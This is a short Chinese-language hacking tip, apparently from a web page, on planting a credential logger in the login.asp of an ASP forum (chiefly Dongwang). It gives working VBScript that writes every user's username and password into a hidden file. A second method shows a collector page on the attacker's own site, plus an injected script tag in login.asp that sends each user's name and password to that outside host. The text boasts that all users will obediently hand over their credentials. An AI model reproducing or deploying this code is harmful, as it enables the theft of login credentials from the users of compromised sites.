方法一:login.asp中Case "chk"下: (主要针对动网)
on error resume next
dim lp
set lP=server.CreateObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lp.LoadFromFile server.mapPath("jl.asp")
lp.Position=lp.Size
lP.writetext now&request("username")&"text:"&request("password")&chr(10)
lP.SaveToFile server.mapPath("jl.asp"),2
lP.Close
set lP=nothing
全部登陆人的密码;时间和名字.至于admin_index.asp你看着加吧
方法二:如果你有自己的网站:
建立目录np;在里面建立一个空的jl.asp和如下代码的np.asp:
<%@codepage=936%><%Response.Expires=0
if request("k")="k" then%>
<pre><!--#include file="jl.asp"-->
<%elseif request("n")<>"" and request("p")<>"" then
on error resume next
dim lp
set lP=server.CreateObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lp.LoadFromFile server.mapPath("jl.asp")
zh=lp.readtext(6152192)&"<"&"%if isempty(request(""k"")) then response.redirect ""np.asp""%"&">"
lp.Position=0
lP.writetext now&"有大侠以名 "&request("n")&" 及密码 "&request("p")&" 试图登陆;其IP:"&Request.ServerVariables("REMOTE_ADDR")&"["&Request.ServerVariables("HTTP_X_FORWARDED_FOR")&"]"&chr(13)&chr(10)&zh
lP.SaveToFile server.mapPath("jl.asp"),2
lP.Close
set lP=nothing
end if%>
在login.asp那里插入一句:
response.write "<SCRIPT src=http://你网站/np/np.asp?n="&request("username")&"&"&p="&request("password")&"></SCRIPT>"
--------所有登陆人都会乖乖的把名字和密码送到你的jl.asp 里
设为首页
加入收藏
联系我们
您当前的位置：
减小字体
增大字体
